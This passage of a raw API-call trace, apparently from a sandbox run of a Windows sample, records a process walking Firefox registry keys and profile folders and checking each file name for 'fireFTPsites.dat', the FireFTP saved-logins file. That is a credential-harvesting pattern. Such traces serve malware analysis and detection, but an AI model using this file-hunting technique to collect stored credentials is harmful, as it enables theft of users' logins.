phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0048.038] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x0, lpData=0x0, lpcbData=0xefb94*=0x0) returned 0x2 [0048.038] RegCloseKey (hKey=0x398) returned 0x0 [0048.038] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb6c | out: phkResult=0xefb6c*=0x398) returned 0x0 [0048.038] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb64, lpData=0x0, lpcbData=0xefb68*=0xefb50 | out: lpType=0xefb64*=0x0, lpData=0x0, lpcbData=0xefb68*=0x0) returned 0x2 [0048.039] RegCloseKey (hKey=0x398) returned 0x0 [0048.039] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb40 | out: phkResult=0xefb40*=0x0) returned 0x2 [0048.039] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0048.039] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0048.039] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.039] RegCloseKey (hKey=0x398) returned 0x0 [0048.039] LocalFree (hMem=0x75b090) returned 0x0 [0048.039] LocalFree (hMem=0x756820) returned 0x0 [0048.039] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x2, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.039] RegCloseKey (hKey=0x394) returned 0x0 [0048.039] LocalFree (hMem=0x75a808) returned 0x0 [0048.039] LocalFree (hMem=0x754820) returned 0x0 [0048.039] RegEnumKeyExA (in: hKey=0x390, dwIndex=0x3, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.039] RegCloseKey (hKey=0x390) returned 0x0 [0048.039] LocalFree (hMem=0x74ccd0) returned 0x0 [0048.039] SetCurrentDirectoryA (lpPathName="C:\\Users\\aDU0VK IWA5kLS\\Desktop" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop")) returned 1 [0048.039] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.039] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0048.039] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc54) returned 0x0 [0048.039] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.039] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0048.039] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0048.039] LocalFree (hMem=0x7499f8) returned 0x0 [0048.039] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.039] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.039] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0048.039] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc50) returned 0x0 [0048.039] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc64) returned 0x0 [0048.039] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc68) returned 0x0 [0048.039] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0048.039] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0048.039] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0048.039] lstrlenA (lpString="\\Mozilla\\Firefox\\") returned 17 [0048.039] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a670 [0048.039] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0048.039] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.039] LocalFree (hMem=0x7469f0) returned 0x0 [0048.039] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.039] lstrlenA (lpString="*.*") returned 3 [0048.039] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x74a738 [0048.040] lstrcpyA (in: lpString1=0x74a738, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.040] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*.*" [0048.040] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*.*", lpFindFileData=0xefaf4 | out: lpFindFileData=0xefaf4) returned 0x72dc90 [0048.040] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.040] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefaf4 | out: lpFindFileData=0xefaf4) returned 1 [0048.040] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.040] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.040] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefaf4 | out: lpFindFileData=0xefaf4) returned 1 [0048.040] lstrcmpiA (lpString1=".", lpString2="Crash Reports") returned -1 [0048.040] lstrcmpiA (lpString1="..", lpString2="Crash Reports") returned -1 [0048.040] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.040] lstrlenA (lpString="") returned 0 [0048.040] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a800 [0048.040] lstrcpyA (in: lpString1=0x74a800, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.040] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.040] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.040] lstrlenA (lpString="Crash Reports") returned 13 [0048.040] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x745b68 [0048.040] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.040] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Crash Reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0048.040] LocalFree (hMem=0x74a800) returned 0x0 [0048.040] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned 69 [0048.040] lstrlenA (lpString="\\*.*") returned 4 [0048.040] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x75c938 [0048.040] lstrcpyA (in: lpString1=0x75c938, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0048.040] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*" [0048.040] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*", lpFindFileData=0xef988 | out: lpFindFileData=0xef988) returned 0x72dcd0 [0048.040] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.040] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef988 | out: lpFindFileData=0xef988) returned 1 [0048.040] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.040] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.040] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef988 | out: lpFindFileData=0xef988) returned 1 [0048.040] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="fireFTPsites.dat") returned 0x0 [0048.040] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef988 | out: lpFindFileData=0xef988) returned 0 [0048.041] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.041] LocalFree (hMem=0x75c938) returned 0x0 [0048.041] LocalFree (hMem=0x745b68) returned 0x0 [0048.041] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefaf4 | out: lpFindFileData=0xefaf4) returned 1 [0048.041] lstrcmpiA (lpString1=".", lpString2="Profiles") returned -1 [0048.041] lstrcmpiA (lpString1="..", lpString2="Profiles") returned -1 [0048.041] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.041] lstrlenA (lpString="") returned 0 [0048.041] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a800 [0048.041] lstrcpyA (in: lpString1=0x74a800, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.041] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.041] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.041] lstrlenA (lpString="Profiles") returned 8 [0048.041] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x745b68 [0048.041] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.041] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0048.041] LocalFree (hMem=0x74a800) returned 0x0 [0048.041] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 64 [0048.041] lstrlenA (lpString="\\*.*") returned 4 [0048.041] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x74d860 [0048.041] lstrcpyA (in: lpString1=0x74d860, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0048.041] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*" [0048.041] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0xef988 | out: lpFindFileData=0xef988) returned 0x72dcd0 [0048.041] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.041] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef988 | out: lpFindFileData=0xef988) returned 1 [0048.041] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.041] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.041] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef988 | out: lpFindFileData=0xef988) returned 1 [0048.041] lstrcmpiA (lpString1=".", lpString2="asmpdd98.default") returned -1 [0048.041] lstrcmpiA (lpString1="..", lpString2="asmpdd98.default") returned -1 [0048.041] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 64 [0048.041] lstrlenA (lpString="\\") returned 1 [0048.041] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x75c818 [0048.041] lstrcpyA (in: lpString1=0x75c818, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0048.041] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0048.042] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 65 [0048.042] lstrlenA (lpString="asmpdd98.default") returned 16 [0048.042] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x7469f0 [0048.042] lstrcpyA (in: lpString1=0x7469f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0048.042] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.042] LocalFree (hMem=0x75c818) returned 0x0 [0048.042] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.042] lstrlenA (lpString="\\*.*") returned 4 [0048.042] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x75c818 [0048.042] lstrcpyA (in: lpString1=0x75c818, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.042] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*" [0048.042] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*", lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 0x72dd50 [0048.042] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.042] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.042] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.042] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.042] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.042] StrStrIA (lpFirst="addons.json", lpSrch="fireFTPsites.dat") returned 0x0 [0048.042] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.042] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0048.042] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0048.042] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.042] lstrlenA (lpString="\\") returned 1 [0048.042] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.042] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.042] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.042] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.042] lstrlenA (lpString="bookmarkbackups") returned 15 [0048.042] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74d998 [0048.042] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.042] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0048.042] LocalFree (hMem=0x746ad0) returned 0x0 [0048.042] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned 97 [0048.042] lstrlenA (lpString="\\*.*") returned 4 [0048.042] LocalAlloc (uFlags=0x40, uBytes=0xe6) returned 0x74da88 [0048.042] lstrcpyA (in: lpString1=0x74da88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0048.042] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*" [0048.042] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*", lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 0x72dd90 [0048.042] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.042] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 1 [0048.042] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.042] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.042] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 1 [0048.042] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="fireFTPsites.dat") returned 0x0 [0048.042] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef6b0 | out: lpFindFileData=0xef6b0) returned 0 [0048.042] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.043] LocalFree (hMem=0x74da88) returned 0x0 [0048.043] LocalFree (hMem=0x74d998) returned 0x0 [0048.043] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.043] StrStrIA (lpFirst="cert8.db", lpSrch="fireFTPsites.dat") returned 0x0 [0048.043] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.043] StrStrIA (lpFirst="compatibility.ini", lpSrch="fireFTPsites.dat") returned 0x0 [0048.043] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.043] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0048.043] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.043] StrStrIA (lpFirst="cookies.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0048.043] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.043] StrStrIA (lpFirst="downloads.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0048.043] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.043] StrStrIA (lpFirst="extensions.ini", lpSrch="fireFTPsites.dat") returned 0x0 [0048.043] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.043] StrStrIA (lpFirst="extensions.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0048.043] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef81c | out: lpFindFileData=0xef81c) returned 1 [0048.043] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0048.043] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0048.043] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.043] lstrlenA (lpString="\\") returned 1 [0048.043] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.043] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.043] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.043] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.043] lstrlenA (lpString="healthreport") returned 12 [0048.043] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x74f980 [0048.043] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK 